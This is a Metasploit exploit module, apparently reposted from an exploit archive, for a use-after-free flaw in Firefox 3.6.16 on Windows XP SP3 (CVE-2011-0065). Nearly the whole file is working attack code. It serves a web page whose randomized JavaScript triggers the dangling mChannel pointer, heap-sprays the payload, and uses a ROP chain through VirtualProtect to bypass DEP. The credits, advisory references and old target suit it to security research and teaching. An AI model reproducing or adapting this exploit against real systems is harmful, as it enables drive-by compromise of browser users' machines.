Mozilla Firefox 3.6.16 mChannel Use After Free

`##  
# $Id: mozilla_mchannel.rb 13507 2011-08-10 05:58:02Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::FF,  
:ua_minver => "3.6.16",  
:ua_maxver => "3.6.16",  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking,  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',  
'Description' => %q{  
This module exploits an use after free vulnerability in Mozilla  
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the   
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel  
becomes a dangling pointer and can be reused when setting the OBJECTs   
data attribute. (Discovered by regenrecht). This module uses heapspray  
with a minimal ROP chain to bypass DEP on Windows XP SP3  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'regenrecht', # discovery  
'Rh0' # metasploit module  
],  
'Version' => "$Revision: 13507 $",  
'References' =>  
[  
['CVE', '2011-0065'],  
['OSVDB', '72085'],  
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],  
['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2011-13.html']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
},  
'Targets' =>  
[  
[  
'Firefox 3.6.16 on Windows XP SP3',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 10 2011'  
))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli).encoded) == nil)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)  
end  
  
def generate_html(payload)  
# DEP bypass using xul.dll  
custom_stack = [  
0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff add [eax],eax / xor eax,eax / pop esi / retN 0x8  
0x7c801ad4, # VirtualProtect  
0xbeeff00d,  
0xbeeff00d,  
0x1003876B, # jmp esp  
0x0c0c0048, # start address  
0x00000400, # size 1024  
0x00000040, # Page EXECUTE_READ_WRITE  
0x0c0c0c00 # old protection  
].pack("V*")  
  
payload_buf = ''  
payload_buf << custom_stack  
payload_buf << payload  
escaped_payload = Rex::Text.to_unescape(payload_buf)  
  
#Random JavaScript variable names  
js_element_name = rand_text_alpha(rand(10) + 5)  
js_obj_addr_name = rand_text_alpha(rand(10) + 5)  
js_sc_name = rand_text_alpha(rand(10) + 5)  
js_ret_addr_name = rand_text_alpha(rand(10) + 5)  
js_chunk_name = rand_text_alpha(rand(10) + 5)  
js_final_chunk_name = rand_text_alpha(rand(10) + 5)  
js_block_name = rand_text_alpha(rand(10) + 5)  
  
#Reference: adobe_flashplayer_newfunction.rb  
custom_js = <<-JS  
#{js_element_name} = document.getElementById("d");  
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);  
#{js_obj_addr_name} = unescape("\\x0c%u0c0c");  
  
var #{js_sc_name} = unescape("#{escaped_payload}");  
var #{js_ret_addr_name} = unescape("%u0024%u0c0c");  
while(#{js_ret_addr_name}.length+20+8 < 0x100000) {#{js_ret_addr_name} += #{js_ret_addr_name};}  
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,(0x48-0x24)/2);  
#{js_chunk_name} += #{js_sc_name};  
#{js_chunk_name} += #{js_ret_addr_name};  
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);  
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}  
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - (0x1020-0x08)/2);  
array = new Array()  
for (n=0;n<0x1f0;n++){  
array[n] = #{js_block_name} + #{js_sc_name};  
}  
  
#{js_element_name}.data = "";  
JS  
  
#Remove the extra tabs  
custom_js = custom_js.gsub(/^\t\t/, '')  
  
html = <<-HTML  
<html>  
<body>  
<object id="d"><object>  
<script type="text/javascript">  
#{custom_js}  
</script>  
</body>  
</html>  
HTML  
  
return html  
end  
  
end`